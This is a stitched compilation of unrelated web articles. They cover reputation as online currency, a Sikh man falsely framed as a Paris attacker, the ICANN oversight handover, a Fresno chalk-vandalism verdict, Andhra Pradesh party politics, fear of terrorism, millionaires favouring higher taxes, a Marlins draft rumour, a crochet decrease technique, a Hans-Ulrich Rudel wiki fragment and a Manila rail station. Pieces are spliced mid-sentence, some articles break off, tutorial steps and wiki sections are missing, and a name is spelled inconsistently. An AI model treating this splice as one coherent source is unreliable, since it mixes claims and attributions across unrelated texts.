A big question mark lies around people's readiness to open up their social data, but King believes consumers are willing to make a trade-off if they know how it is going to be used and what they will gain in return. "People are currently underusing their networks and reputation," King says. "I want to help people to understand and build their influence and reputation, and think of it as capital they can put to good use."
Social scientists have long been trying to quantify the value of reputation. In 2008, Norihiro Sadato, a researcher at the National Institute for Physiological Sciences in Aichi, Japan, along with a team of colleagues, wanted to determine whether we think about reputation and money in the same way, by mapping the neural response to different rewards. "Although we all intuitively know that a good reputation makes us feel good, the idea that good reputation is a reward has long been just an assumption in social sciences," Sadato says. "There has been no scientific proof."
In order to prove his hypothesis, Sadato devised an experiment: participants were told they were playing a simple gambling game, in which one of three cards would result in a cash payout. Using functional magnetic resonance imaging, the researchers monitored brain activity triggered when the subjects received a monetary reward. When the subjects returned on the second day, they were each shown a picture of their face, with a one-word descriptor underneath that a panel of strangers had supposedly written about them. Some of the descriptions were positive, such as "trustworthy", others neutral, such as "patient", and others negative. When participants heard they had a positive reputation, a part of the brain, the striatum, lit up.
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The same part would also light up if they had won money. As Sadato puts it: "The implication of our study is that different types of reward are coded by the same currency system." In other words, our brains neurologically compute personal reputation to be as valuable as money.
Personal reputation has been a means of making socioeconomic decisions for thousands of years. The difference today is that network technologies are digitally enabling the trust we used to experience face-to-face -- meaning that interactions and exchanges are taking place between total strangers.
Trust and reputation become acutely important in peer-to-peer marketplaces such as WhipCar and Airbnb, where members are taking a risk renting out their cars or their homes. The difference between these community-driven marketplaces and e-commerce sites is that they are connecting real people with real names in the offline world. When you are trading peer-to-peer, you can't count on traditional credit scores. A different measurement is needed. Reputation fills this gap because it's the ultimate output of how much a community trusts you. "Reputation allows you to bring over some of the history of who you are as a person, whether it's in the digital or the real world," says Brian Chesky, cofounder and CEO of Airbnb, the peer-to-peer marketplace that matches people with space to rent with those looking for accommodation. "What has surprised me the most about reputation is that the need for it actually goes down as the marketplace matures."
In other words, a host's or a guest's reputation gets users comfortable with trusting the idea (staying in or renting the homes of complete strangers), trusting the system (Airbnb) and trusting the recipient. "By the time a host has their 20th guest on Airbnb, they start blindly accepting people. They don't need to talk on the phone or need lots of information," he explains. "You start trusting people. So really what we are doing is not just renting out spaces but helping to change the way people trust humanity."
Chesky is aware of the value of the data users are building on Airbnb. "The platforms that will become the centrepiece of online reputation are the ones that create some kind of meaningful relationships, and carry the data on defining who you really are as a person," says the 30-year-old. He believes, however, that Airbnb has a trust currency that is "super interesting for others because the transactions are in person and not just online. We capture data about people's real-world behaviours that could not be captured on any other website."
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But this wealth of data raises an important question -- who owns our reputation? Shouldn't our hard-earned online status be portable? If you're a SuperHost on Airbnb, shouldn't you be able to use that reputation to, say, get a loan, or start selling on Etsy? "I know we are creating a really important currency that could be useful outside of Airbnb," Chesky says.
Presently, reputation data doesn't transfer between verticals. Consequently, if a host has a high rating on Airbnb, but no reputation on a competitor's platform, they can feel locked in. "I imagine that people will leverage their Airbnb reputation in ways that we can't yet imagine," Chesky says. "Airbnb could become a story of your life and that story should be able to follow you." A wave of startups, including Connect.Me, TrustCloud, TrustRank, Legit and WhyTrusted, are trying to solve this problem by designing systems that correlate reputation data.
By building a system based on "reputation API" -- a combination of a user's activity, ratings and reviews across sites -- Legit is working to build a service that gives users a score from zero to 100. In trying to create a universal metric for a person's trustworthiness, they are trying to "become the credit system of the sharing economy", says Jeremy Barton, the 27-year-old San Francisco-based cofounder of Legit.
His company, and other reputation ventures, face some big challenges if they are to become, effectively, the PayPal of trust. The most obvious is coming up with algorithms that can't be easily gamed or polluted by trolls.
And then there's the critical hurdle of convincing online marketplaces not just to open up their reputation vaults, but create a standardised format for how they frame and collect reputation data. "We think companies will share reputation data for the same reasons banks give credit data to credit bureaux," says Rob Boyle, Legit cofounder and CTO. "It is beneficial for one company to give up their slice of reputation data if in return they get access to the bigger picture: aggregated data from other companies."
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When asked for the sources upon which a user's trustworthiness is based, reputation startups list the usual suspects -- LinkedIn, Facebook, Twitter -- but refuse to go further, saying that the algorithm is proprietary. For these trust-validation services to become credible they're going to need to differentiate their products from those offered by companies such as PeerIndex, Kred and Klout, which collect digital information from different social-media sources. Their metrics -- who I "follow", who "follows" me, who I know professionally, where I check in, what I chat about -- are measuring social influence, not reputation. "Influence measures your ability to drag someone into action," says Joe Fernandez, cofounder of San Francisco-based Klout (wired 08.12). "Reputation is an indicator of whether a person is good or bad and, ultimately, are they trustworthy?"
Influence aggregators are trailblazers for the bigger reputation economy. Yes, it's easy to point out that a Klout score is merely a popularity contest, but what the likes of Klout and PeerIndex are starting to show is that it's possible to extract value from the information exchanged by groups across networks. "Think about people on social media," says Azeem Azhar, the 39-year-old founder of PeerIndex. "They are spending around 500 minutes a month investing time on their networks. It's like they are building a living CV across their lives, so it makes it important for them to get value out of that."
Early influence and reputation aggregators will undoubtedly learn by trial and error -- but they will also face the significant challenge of pioneering the use of reputation data in a responsible way. And there's a challenge beyond that: reputation is largely contextual, so it's tricky to transport it to other situations. Sure, you might be an impeccable Airbnb host, but does that mean I would trust you with my car? "When you build reputation in a specific system," explains Coye Cheshire, an associate professor at the UC Berkeley School of Information, whose work focuses on trust dynamics in online interactions, "it must be seen in light of the social dynamics, the population and the unique characteristics of that system."
Many of the ventures starting to make strides in the reputation economy are measuring different dimensions of reputation. On Stack Overflow, for instance, reputation is a measure of knowledge; on Airbnb it's a measure of trust; on Wonga it's a measure of propensity to pay; on Klout and PeerIndex it's a measure of influence.
Reputation capital is not about combining a selection of different measures into a single number -- people are too nuanced and complex to be distilled into single digits or binary ratings.
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It's the culmination of many layers of reputation you build in different places that genuinely reflect who you are as a person and figuring out exactly how that carries value in a variety of contexts.
The most basic level is verification of your true identity -- is this person a real person? Are they are who they say they are? It's also foreseeable that data giving a good indicator of character, such as reliability and helpfulness, in one marketplace is a baseline of how you will behave in another marketplace. Do we do what we say we are going to do? How well do we respect another person's property? Can we be trusted to pay on time? But the big, sticky area around porting reputation lies in the space of shared interests, values and connections that can be pulled from the social graph. Currently platforms such as Airbnb are only using this data to connect a person with some kind of mutual connection, such as going to the same university. The larger opportunity is carrying social matches based on like-minded individuals across marketplaces.
These multifaceted sources of reputation will not be a single algorithm: we will be able to perform a Google- or Facebook-like search and see a picture of a person's behaviour in many different contexts, over a length of time. Slivers of data that have until now lived in secluded isolation online will be available in one place. Answers on Quora, reviews on TripAdvisor, comments on Amazon, feedback on Airbnb, videos posted on YouTube, social groups joined, or presentations on SlideShare; as well as a history and real-time stream of who has trusted you, when, where and why. The whole package will come together in your personal reputation dashboard, painting a comprehensive, definitive picture of your intentions, capabilities and values. "We are only at day one in the whole idea of global reputation," Chesky says. "There really could one day be this reputation economy that allows us to do so many different activities that we can't even imagine right now."
By the end of the decade, a good online reputation could be the most valuable currency in your possession.
The new identity brokers
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A raft of services have been founded over the past year, all promising to monitor and police your online reputation.
Connect.Me
Aims to turn your social profile into a personal reputation network, making it easier to find trustworthy people, from accountants to babysitters. (In beta.)
Tru.ly
Enables users to verify their digital identity against their real-world one by authenticating social profile data against official government data.
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Legit
Correlates reputation data from a number of P2P marketplaces into a "LegitScore" and a report that summarises user behaviours. (In beta.)
TrustCloud
Aggregates public data and correlates it into a "TrustScore" that measures online behaviour. Its aim: to let you own your online trustworthiness.
Scaffold
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Builds easy-to-use APIs and tools that enable P2P marketplaces to conduct background checks and verify a user's identity and reputation.
Confido
Wants to become the "FICO of social commerce" by providing a portable profile that users can carry across P2P marketplaces. (In beta.)
Briiefly
Working on combining indicators from across social networks and offline activities to create a trust profile and <span class="s1">score. (In beta.)
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Reputate
Aims to create a snapshot of a person's online reputation by aggregating reviews and ratings across P2P marketplaces. (In beta.)
The ten-step reputation plan
Want to be a trusted member of the online community? Follow these tips on building your reputation capital.
Be a maven
Demonstrate your knowledge on something -- music, maths, movies -- on MavenSay, Mahalo or StackExchange.
Get tagging
Use a platform such as Skills.to to tag your strengths and make it easy for others to know at a glance what you can do.
Become super at something
Be a great host, runner, seller, renter, lender, in an online marketplace such as Airbnb, WhipCar or Zopa.
Build a portfolio
Make a note of references, ratings and reviews on various platforms that give a snapshot of your online value.
Collect trusted opinions
Ask people who know and trust you to write about your skills and trustworthiness on platforms such as LinkedIn.
Follow, like, befriend
Concentrate on building a deep social network on at least one platform. Interact, follow and "like" on a daily basis.
Review and recommend
Get your name out there: be active in writing reviews and vouching for friends and colleagues on a range of websites.
Monetise your profile
Build some kind of virtual currency account, whether it's Linden Dollars, Gold Coins, IMVU or Facebook Credits.
Spring clean your reputation
Use a service such as Reputation.com or Veribo to clean up any misleading or false information about you.
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Gain some social capital
Become an active part of your local community and demonstrate you are trustworthy in your personal life.
Rachel Botsman is social innovator, writer and speaker who is writing a book on reputation capital. She wrote about conscientious consumption in 03.12Veerender Jubbal’s real image that was photoshopped and shared on social media, blaming him as a Paris attacker. (Source: Veerender Jubbal Twitter)
A Sikh man named Veerender Jubbal was falsely framed as one of the Paris attackers after a photoshopped image of him went viral on social media. Shockingly the image was also used by a Spanish newspaper La Razon on the front page and named Jubbal as a terrorist.
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A picture of Jubbal holding an iPad was photoshopped where the iPad was replaced with a Quran and a suicide vest was also added. One of the first tweets was put out by an handle named @abualut8 which shared the image and the caption, “BREAKING, one Islamic State attacker in #ParisAttacks was a Sikh convert to Islam.”
The tweet has since then been deleted, but not before causing some serious damage to Jubbal’s reputation given that media in various parts of Europe already labelled him a terrorist.
[related-post]
Jubbal has since had to explain on Twitter that he’s a Sikh, not a Muslim and has never even traveled to Paris and has nothing to do with the attacks.
Jubbal wrote on Twitter in a series of tweets, “Never been to Paris. Am a Sikh dude with a turban. Lives in Canada. This whole thing puts me in a bad position in the sense, where I could be harmed and/or hurt due to this. This is libel from news, and TV. In gauging this entire incident–millions upon millions of people have seen the photoshopped images, and have placed me as a terrorist.” Check out his Twitter timeline here.
You can all check the last retweets. Let us start with basics. Never been to Paris. Am a Sikh dude with a turban. Lives in Canada. — Veerender Jubbal (@Veeren_Jubbal) November 14, 2015
Has spread to the point, where many people have had to tweet about the photos being photoshopped.. Any support/nice messages are welcome. — Veerender Jubbal (@Veeren_Jubbal) November 14, 2015
I hope everyone has caught up with what is going on with me. I went viral due to a photoshopped image claiming I am a terrorist. — Veerender Jubbal (@Veeren_Jubbal) November 15, 2015
This is not the first time that social media has been used to wrongly frame someone for a terror attack in the West. In the aftermath of the 2013 Boston Marathon bombings, a Reddit thread had wrongly declared a missing Indian student named Sunil Tripathi as one of the suspected bombers.
On Reddit and social media, Tripathi was declared a suspect, adding to the anguish of his parents who had been searching for their missing son for nearly a month. All of this was based on unverified sources, and proved to be incorrect in the end.
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Just as in 2013, folks on social media and even mainstream media remain clueless when it comes to verifying so called sources on Twitter or other such sites. As Jubbal rightly points out the fake image being shared is not just libel, but also puts his life in the way of possible harm or hate attacks.When an agreement with the US Commerce Department runs out, ICANN will become a self-regulating non-profit international entity (AFP Photo/Andrew Cowie)
San Francisco (AFP) - The US administration on Thursday endorsed a plan to cede its oversight of the gatekeeper of Internet addresses to the broader online community.
Commerce Department assistant secretary for communications and information Lawrence Strickling told AFP that the proposal from the Internet Corporation for Assigned Names and Numbers (ICANN) meets the criteria set by the US administration.
The plan aims to maintain Internet governance under a "multi-stakeholder" model which avoids control of the online ecosystem by any single governmental body.
"The Internet's multi-stakeholder community has risen to the challenge we gave them to develop a transition proposal that would ensure the Internet's domain name system will continue to operate as seamlessly as it currently does," Strickling said.
US oversight of ICANN had "irritated" some governments, which used what was Strickling depicted as a mainly clerical responsibility to vie for greater control of the Internet.
The plan comes in response to the US government's March 2014 announcement that it would transition "stewardship" of online domain name system technical functions from the Commerce Department to a body that would fairly represent all parties with interests in a vibrant and healthy Internet.
Motivation behind the transition is to "preserve a free and open Internet," according to Strickling.
- Avoiding fragmentation -
Concern has been expressed over the years that a perception that the United States is holding the reins of the Internet could prompt other countries to form their regional "domains," creating a potential for fragmentation.
The proposal crafted over the course of two years with input from businesses, academia, governments and others was endorsed by ICANN in March.
Strickling declined to call his agency's report endorsing the plan an "approval," referring to it instead as a favorable "assessment."
The proposed new system is being tested in parallel with the existing one to see if it works on a practical level.
The plan will not affect how users interact online, but will turn over the technical supervision of the online address system to ICANN itself, with a system of checks and balances so no single entity can exert control over the Internet, according to officials involved in the process.
Officials say the US government supervision is symbolic and dates back to the creation of the Internet. Yet ICANN officials maintain the new governance model will instill confidence around the world in the Internet's independence.
If the US government formally approves the plan, then a contract between ICANN and the US government will be allowed to naturally expire on September 30.
ICANN board chairman Stephen Crocker told AFP in an earlier interview that he did not expect Internet users to notice any change.
But some US lawmakers have been less than enthusiastic about the plan.
Last year, Republican Senator John Thune warned at a hearing that a privatized ICANN could become "accountable to no one."
Strickling said his agency is prepared for discussions with lawmakers to get them comfortable with the plan.
"To the extent that people think the US has been the guardian of the free and open Internet, I think, overall, we have relied on the community," Strickling said.By Pablo Lopez
The Fresno Bee
FRESNO, Calif. — A jury dealt a swift blow to Army veteran Brian David Sumner's free-speech defense, deliberating less than 20 minutes Friday before finding him guilty of vandalizing a Fresno Police Department's memorial with a stick of white chalk.
The verdict in Fresno County Superior Court stunned Sumner, 26, and his supporters, who contended the misdemeanor charge was ridiculous because his anti-police slogans caused no damage to the granite monument that honors 12 officers killed in the line of duty.
The chalk easily washed away, they said.
"There was no justice in this case," Sumner said. "All that was proven was that the District Attorney's Office has a propensity of wasting taxpayers' money and time in the legal system."
But three jurors who declined to be identified said it wasn't Sumner's words that got him trouble; it was where he wrote them. They said Sumners' words were disrespectful and maliciously designed to annoy police, which was one of the elements to prove |
popular cine star and Lokesh’s cousin, who was widely expected to be given a key role in the party was sidelined.
The young TDP leader’s marriage to Brahmani, daughter of NTR’s son Balakrishna – whose proposed elevation as party chief in 1985 had led to Naidu’s rebellion – seems to have helped stem any opposition from the NTR family. His father-in-law steps in to mediate in case of any trouble.
Taking over party work
After his unsuccessful stint at television, Lokesh and his friends – software professionals S Abhista and Rajesh Kilaru – headed to the TDP headquarters in Hyderabad, where they took over IT services, and the task of rebuilding the party’s cadre base by formulating welfare schemes along the lines of those by Left parties.
They fine-tuned an online membership drive during which the TDP added a record 54 lakh members. After this, Lokesh and his team were given the task of organising welfare programs for party workers. Under Lokesh’s watch, the party set up a grievance cell with 22 lines at the party office in Hyderabad’s Jubilee Hills where workers could call in with their problems. Lokesh is also custodian of the TDP’s Workers Welfare Fund, which helps ailing party workers with funds and medical treatment, as well as with skills training and job placements.
Lokesh took over the backroom operations of his father’s campaign in the run up to the 2014 Assembly elections, which were held along with the Lok Sabha elections. He is credited with the billboard campaign that screamed: “Jobukavala? Chandababu Ravali”, which translates into: “Do you want jobs? Chandrababu must come [to power]”. This campaign galvanised the youth in Hyderabad and TDP won more Assembly seats in the city than even the Telangana Rashtra Samithi and the Congress. Of the 15 seats Naidu’s party won in Telangana, 10 were in Hyderabad, the capital of the newly-created state of Telangana.
Shadow CEO?
Lokesh’s attempts to fashion the party and government along corporate lines of which he is the shadow CEO is reminiscent of his father’s technocratic approach when he was Andhra Pradesh chief minister from 1995 to 2004.
For instance, all party spending needs Lokesh’s nod, and it is he who instituted electronic e-controls for the movement of files, and digital signatures for all approvals. Biometric entry gates and locks have been installed at NTR Bhavan and the Secretariat to mark attendance, and to ensure punctuality. Senior ministers, MPs and party veterans have to wait hours to meet the TDP scion and are expected to conduct official campaigns and programs only after his approval.
At last month’s party convention, ministers and party MLAs were assessed on the basis of report cards prepared and submitted internally by Lokesh. Fourteen cabinet ministers were pulled up for non-performance. Party sources said that 41 party MLAs were also reported for not doing anything for their constituencies, and for not countering the Opposition criticism in their areas.
Lokesh has attempted to manage the party and government’s image by controlling the publicity and information departments too. He monitors the official publicity wings of the party, writes responses on Facebook and tweets on party policies. He also attacks opponents like Jaganmohan Reddy of the YSR Congress, KT Rama Rao of the Telangana Rashtra Samiti and Congress leader Rahul Gandhi on social media.
The Media Information Monitoring System, a news monitoring service in the Chief Minister’s Office, has been staffed by personnel approved by Lokesh, who recently also brought in a senior Doordarshan employee as Commissioner of Information & Public Relations.
Those close to Chandrababu Naidu say that the chief minister is likely to opt for a more leisurely political role in Parliament once his dream project – the construction of Andhra Pradesh’s new capital city of Amaravati – is completed. That is expected to take five years. Lokesh, meanwhile is being groomed to take over the mantle.Did you know that while only one Briton in 25 will actually be the victim of any sort of crime, a quarter of us think that we will be? In fact, in terms of violent crime we are living in the safest period in human history. Yet we act more frightened than ever.
And judging by the media, both traditional and social, the crime we most get anxious about at the moment is terrorism.
However, in 2005, the year of the London Subway bombing, the peak year for Islamic terrorist activity in the UK this century, you were 2400 times more likely to die of heart disease than be killed by an Islamic extremist.
That’s not to say the world is perfect, there are real threats out there for those who want something to worry about, but when experts are asked to list the 10 biggest risks to humanity in terms of their likely occurrence and the impact they would have if they did occur global terror is not in the top ten of those lists. The main danger in terms of its potential impact, water scarcity, doesn’t even register in most people’s daily thought processes.
When was the last time you went a day without thinking about terrorism?
We seem to be living in an age where real risks are ignored and replaced by bogeymen. At this point in time the big bogeyman is Isis, and by extension, for a worryingly large amount of people, all Muslims. Out fears are reflected in opinion polls. Nearly one third of American adults agree with Trump that Muslims should be banned from entering the country. More British people associate the word Muslim with terror than any other quality.
But terrorist attacks are so infrequent here because there are so many factors that need to be in place for them to happen. Our own security services think that less than 1% of UK Muslims are in danger of becoming radicalised. Of those, only a small proportion will be radicalised. Of that small proportion only a handful would ever go on to try to commit a terrorist attack. They would then need to meet the correct people, train, obtain the correct materials, construct a good enough plan and carry this plan out with a reasonable degree of efficiency. All the time evading the security services. It is very unlikely that all those things can come together, hence the infrequency of these events.
But that doesn’t stop us worrying. And the distrust that this worry sows is causing divisions which increase the risk. More and more Muslims feel disenfranchised and end up in a position where they could become radicalised.
These interviews with young Muslims by Channel Four News show the effect of the current climate in action.
There is a saying in the media, If It Bleeds, It Leads. And this philosophy is the main stoker of our irrationality as this quote from the Psychologist magazine shows.
Put simply, the more often we hear about something, and the more emotive that event is, the greater its impact on us. We’re susceptible, suggestible, suspicious creatures, easily moved by the appearance of things, and much less influenced by the way things actually are. The way we think about the world is hugely influenced by the number of times we hear about an event and by the magnitude of its emotional impact on us. Objective facts cut much less ice. This means we’re vulnerable to all kinds of irrational, unjustified fears – to paranoia, in other words. And if you’re inclined to doubt it, think back to how you felt about swimming in the sea after having seen Jaws for the first time!
But media driven fear is just an extension of a repressed fear that emanates from how we live our lives. Packed in stressful urban environments, bombarded by photo-shopped images of perfect bodies and wholesome families. We do jobs that are no longer secure. Working harder for less, constantly monitored and constantly judged. CCTV and speeding cameras are ubiquitous. Our phones report where we are and our cards report where and what we spend. The government reads our emails. Our colleague are our competitors, racing each other to rise one notch up the slippery status pole. Many lead sedentary lives, are overweight, sick or even mentally ill. Trapped by constant fear in a cycle we hate, only one pay cheque away from not even having that cycle.
It is common to hear that there is some form of Machiavellian force manipulating us in order to distract us from the real problems of the world. For solutions to many of the real problems like climate change, interstate conflict and weapon proliferation would have major financial repercussions for very powerful people. Contrary to this, solutions to the Terrorist Bogeyman, such as clamping down on civil liberties and bombing raids in the Middle East, can benefit those in charge and their cronies.
That said, you don’t need the involvement of a Propaganda State to see the true force driving our fear. We are being fed what we desire. And only we have the collective power to control our appetites.
As security expert Bruce Schneier explained in aftermath of the Boston Bombing, we need to:
refuse to be terrorized. Terrorism is a crime against the mind. What happened in Boston, horrific as it is, is theatre to make you scared. That’s the point. The message of terrorist attacks is you’re not safe, and the government can’t protect you — that the existing power structure can’t protect you. I tell people if it’s in the news, don’t worry about it. By definition, news is something that almost never happens. The brain fools you into thinking the news is what’s important. Our brains overreact to this stuff. Terrorism just pegs the fear button.
The government can’t thwart every terror attack. However, the government can play an active roll in helping to relieve some of the overblown anxiety that affects how we react to perceived threats. They won’t do so on their own volition as the anxiety we feel makes us more malleable and easier to govern. A divided society, obsessed with the enemy within is easier to control.
It is up to us to stop feeding the sensationalism in politics and the media. It is up to us to demand a better balance between work and our physical and mental well being. It is up to us wrest back authoritarian control. Only by taking the power back over our lives can we face our irrational fears. And then we can begin to heal the wounds those fears are causing in our society and the wider world.
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Add your email address to receive updates when we blog. Privacy Policy Leave this field empty if you're human:Many of the 1% want to pay more taxes
Some wealthy see it as a way to ensure a healthy infrastructure
Chuck Collins is part of the 1 percent -- and he wants to pay more taxes.
Mr. Collins, the great grandson of Oscar Mayer of meatpacking fame, is the co-founder of a group called Responsible Wealth, whose members argue that wealthy people like themselves need to pay higher taxes than they do now.
The Responsible Wealth website says its members comprise more than 700 rich individuals and corporate leaders whose "message is simple, and surprising to some: we can afford to pay more; we don't need any more tax breaks."
The group was started about a decade ago to oppose the Bush administration's plans to reduce the estate tax. Since then, it has spawned other groups, including one called Patriotic Millionaires, which has signed up more than 200 millionaires who oppose extending the Bush income tax cuts on the wealthy and favor raising taxes as part of the current federal deficit negotiations.
One of those signatories, California software entrepreneur Ron Garret, explained his reasons in a promotional video.
"It's important to remember that rich people are not the cause of a robust economy, they're the result of a robust economy," Mr. Garret says. "I personally feel I've gotten to where I am in large part because I was supported by this terrific infrastructure that exists here in the United States. So I didn't have to worry about food or health or drinking water out of the tap or being able to get from A to B. That was all essentially handed to me on a silver platter.
"I really feel like I now have a duty, now that I have the means, to help pay for maintaining that infrastructure for the next generation."
The movement got an extra boost in August when billionaire investor Warren Buffett wrote an essay in the New York Times that said his effective tax rate was too low. At 17.4 percent, he said, it was less than the rates of the people who worked in his office.
Since then, the "Buffett Rule" has become part of President Barak Obama's stump speech. "Warren Buffett's secretary shouldn't pay a higher tax rate than Warren Buffett. There is no justification for it," the president has said again and again.
Mr. Collins has been making the same pitch for years.
After he graduated from Hampshire College with a degree in economics and history, Mr. Collins worked for a non-profit that helped mobile home residents buy their parks as cooperatives.
"Through that process I had an awakening as to how little income a lot of people have, because I tabulated the data on the parks' residents. And then I would look at my financial statements and say, 'Huh, my own net worth doubled in four years, through no great effort of my own.'"
As he has carried out research on the wealthy and taxes since then, he has discovered that "the dirty little secret is that the higher you go up the income scale, the more effective tax rates have gone down. In the late 1960s, the top 1 percent of earners may have paid an effective rate of 50 percent, compared with about 18 percent today."
Mr. Collins thinks many people in the top 1 percent of earners would be willing to pay more taxes, even if it's not a majority.
"Among the powerful and wealthy, you have one sliver that is aggressively using their power to protect their privileges and expand them, and you have another slice, that's our folks--- who I believe may represent a third of the top 1 percent -- who believe that things are out of balance and there is something wrong."
One specific proposal his groups support is a bill to add new tax brackets for the wealthy, sponsored by Rep. Janice Schakowsky, D-Ill. Called the Fairness in Taxation Act, it would add seven new brackets for wealthier taxpayers, ranging from 36 percent to 49 percent.
The top rate would apply to money earned in excess of $1 million. In other words, if someone made $1.2 million, the top rate would apply to $200,000 of that.
Mr. Collins doesn't know whether the views he supports will eventually prevail. He knows he's up against committed opponents.
"The people lobbying to eliminate taxes on the wealthy, those folks have a real intensity. The people who want to get rid of the estate tax, for instance, like the Walton family (which controls Wal-Mart), want to pass on all their wealth without any taxes. It's a great investment for them. They spend a couple million [dollars on lobbying] and they save billions."
The members of Patriotic Millionaires, on the other hand, "see this web around them that's not all about them, and they know that they have received enormous gifts, that great Americans built this infrastructure and they've been able to ride on top of it.
"Of course individual effort makes a huge difference, but many people out there just don't see the matrix that supports that effort."
First published on November 13, 2011 at 12:00 amAfter a blitzkrieg-like start to the MLB off-season and free agency, teams have slowed down their spending as of late. Most of the top names on free agency have already inked new contracts to play in new cities in 2014.
One major player is still on the market, as Shin-Soo Choo is allowing his agent Scott Boras to wait out the market and garner him as much money as possible. According to Jeff Passan of Yahoo! Sports, Boras has already turned down a seven-year, $140 million deal from the New York Yankees. The Yankees went on to sign the cheaper Carlos Beltran, meaning they are likely out on Choo.
This opens the door for another team to jump into the Choo sweepstakes, and that team could be the Houston Astros. Passan mentions in his article that the Astros have an offer on the table for Choo:
1. Shin-Soo Choo is now the big question. Sources said multiple teams are believed to have active offers out on Choo – and one of those teams is believed to be the Houston Astros, whose entire roster at one point last season was being paid less than Choo will command for 2014 and beyond.
Now, we are a Miami Marlins blog, so you’re probably wondering what a Choo-to-Astros rumor has to do with the Marlins, right? Well, Choo signing with the Astros could have major ramifications for the Marlins in the upcoming draft in June.
The Astros, by virtue of finishing with the worst record in baseball, hold the number 1 overall pick in the MLB Amateur Draft in June. The Marlins currently hold the number 2 pick and are likely to miss out on sure-fire number 1 pick Carlos Rondon.
This is where Choo fits into the equation. The Reds offered Choo arbitration before free agency started and he of course declined, this meaning he would cost any team he signs with a first round pick. The first 10 picks in the MLB draft are always protected, meaning the Astros would have to surrender their second round pick instead.
That still leaves the Marlins without a legitimate shot at Rondon and a chance to pair him with Rookie of the Year Award winner Jose Fernandez.
Except it doesn’t. If the Astros were to sign Choo, they would lose not only their second round pick, but also the draft money allotted to that pick, as Passan points out:
The Astros do not like the idea of giving up a draft pick, especially in a year in which another Boras client, Carlos Rodon, is almost a lock to go No. 1 overall and likely to command an excessive portion of Houston’s signing bonus pool.
There is a chance that the Astros could pass on Rondon come draft time, if they feel like the cost for Rondon and his agent (Boras as well) are too outrageous. This would position the Marlins perfectly to have an opportunity to draft a top of the rotation arm to add onto their already impressive collection of arms. In fact, by 2015, the Marlins rotation could look like this if things work out:
That rotation would easily rank among the best in all of baseball, especially if those top 3 pitchers develop like most Major League scouts expect them to.
If the Marlins find a way to keep Giancarlo Stanton and Christian Yelich develops the way the Marlins expect him to, the Marlins could have a dangerous team, maybe even a contender as soon as that 2015 season.
What do you guys think? Should we get our pom-poms out and root for the Astros to become more serious about Choo? While it’s still a longshot that the Astros decide to pass on Rondon even if they sign Choo, it at least gives the Marlins a better chance. Let us know in the comments what you think about this potential scenario.A few weeks ago, I found out about another technique that has changed and greatly facilitated the way I make amigurumi, much like the Magic Circle which I previously blogged about. Before, I would lament about how there were holes and bumps when I decreased my stitches when closing up a ball. Imagine my delight when I learned about “The Invisible Decrease” method, in which you can’t even tell that the stitches are decreasing- there are no holes or bumps in sight!
Typically when you are decreasing, you are instructed to either single crochet 2 together (sc 2 tog) or single crochet decrease ([insert hook into next stitch, yarn over, pull up a loop] twice; yarn over and pull through all 3 loops on hook). The Invisible Decrease uses a different method, and it is very important to know the difference between the front loops and the back loops of stitches.
When crocheting amigurumi, you usually work through both loops of the stitches. The front loops are those on the outside of the circle closest to you. The back loops are those on the inside of the circle.
Let’s begin doing our Invisible Decrease!
Sometimes it’s easier seeing this all in action, so here’s a great video by Nerdigurumi that shows exactly how to do the “Invisible Decrease”:
If you are not already using “The Invisible Decrease” when making amigurumi, I HIGHLY recommend trying it out. Just like the Magic Circle, once you’ve started using it, you won’t ever go back!Early life Edit
Rudel was born on 2 July 1916, in Konradswaldau, in Prussia. He was the third child of Lutheran minister Johannes Rudel. As a boy, Rudel was a poor scholar, but a very keen sportsman. Rudel attended the humanities oriented Gymnasium, in Lauban. He joined the Hitler Youth in 1933. After graduating with Abitur in 1936, he participated in the compulsory Reich Labour Service (RAD). Following the labour service, Rudel joined the Luftwaffe in the same year and began his military career as an air reconnaissance pilot.
World War II Edit
Summary of military career Edit
Legacy Edit
Rudel remained popular with the German far-right after his death, especially with the German People's Union, the DVU, and its leader Gerhard Frey. Frey and the DVU established the Ehrenbund Rudel - Gemeinschaft zum Schutz der Frontsoldaten (Honour federation Rudel - Community for the protection of the front soldiers) in 1983, during a memorial service for Rudel.[74][75] British holocaust denier David Irving, who delivered a memorial speech on the death of Rudel,[76] was given the Hans-Ulrich-Rudel-Award by Frey in June 1985.[77]
Publications Edit
Wir Frontsoldaten zur Wiederaufrüstung [ We Frontline Soldiers and Our Opinion on the Rearmament of Germany ] (in German). Buenos Aires, Argentina: Dürer-Verlag. 1951. OCLC 603587732.
Dolchstoß oder Legende? [ Daggerthrust or Legend? ]. Schriftenreihe zur Gegenwart, Nr. 4 (in German). Buenos Aires, Argentina: Dürer-Verlag. 1951. OCLC 23669099.
Es geht um das Reich [ It is about the Reich ]. Schriftenreihe zur Gegenwart, Nr. 6 (in German). Buenos Aires, Argentina: Dürer-Verlag. 1952. OCLC 48951914.
Trotzdem [ Nevertheless ] (in German). Göttingen, Germany: Schütz. 1966 [1949]. OCLC 2362892.
Stuka Pilot. Translated by Hudson, Lynton. New York: Ballantine Books. 1958. OCLC 2362892.
Hans-Ulrich Rudel—Aufzeichnungen eines Stukafliegers—Mein Kriegstagebuch [ Hans-Ulrich Rudel—Notes by a Dive Bomber Pilot—My War Diary ] (in German). Kiel, Germany: ARNDT-Verlag. 2001. ISBN 978-3-88741-039-1.
Mein Leben in Krieg und Frieden [My life in war and peace] (in German). Rosenheim, Germany: Deutsche Verlagsgesellschaft. 1994. OCLC 34396545.
References EditTransportation Secretary Arthur Tugade on Friday said an agreement for a common station between Metro Rail Transit-3 (MRT-3), Light Rail Transit-1 (LRT-1) and the MRT-7 would be signed by Sept. 28.
During the appropriations committee hearing over the proposed P55.478-billion budget of the Department of Transportation (DoTr) at the House of Representatives, Tugade was asked by Quezon Rep. Danny Suarez about the need to build a common station that was halted during the previous administration because of a temporary restraining order by the Supreme Court.
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“We believe railway is an equalizer between rich and poor man… To walk for another 500 meters—where is the concept of mass transit, and level playing field between the rich man and poor man that makes them walk for such long meters?” Suarez said.
Tugade said the department on Thursday met with Ayala Corp. Chairman Jaime Zobel De Ayala, San Miguel Corp. President Ramon Ang, business tycoon Manny Pangilinan, and SM Investment Corp. Vice Chair Teresita Sy-Coson (the eldest daughter of SM magnate Henry Sy) where all agreed to the need of a common station.
“We’ve met separately and collectively with all these stakeholders. In the last meeting done yesterday, with no less than the heads of stakeholders meeting. What we’ve agreed upon, all of them saw the importance of a single station, the difficulty of doing connectivity between MRT and LRT. There’s got to be connectivity. Lahat nag-agree na magkakaroon ng (Everyone agreed to have a) common station. Magpipirmahan (There will be a signing) before the end of this month expressing full conformity on the one single common station concept,” Tugade said.
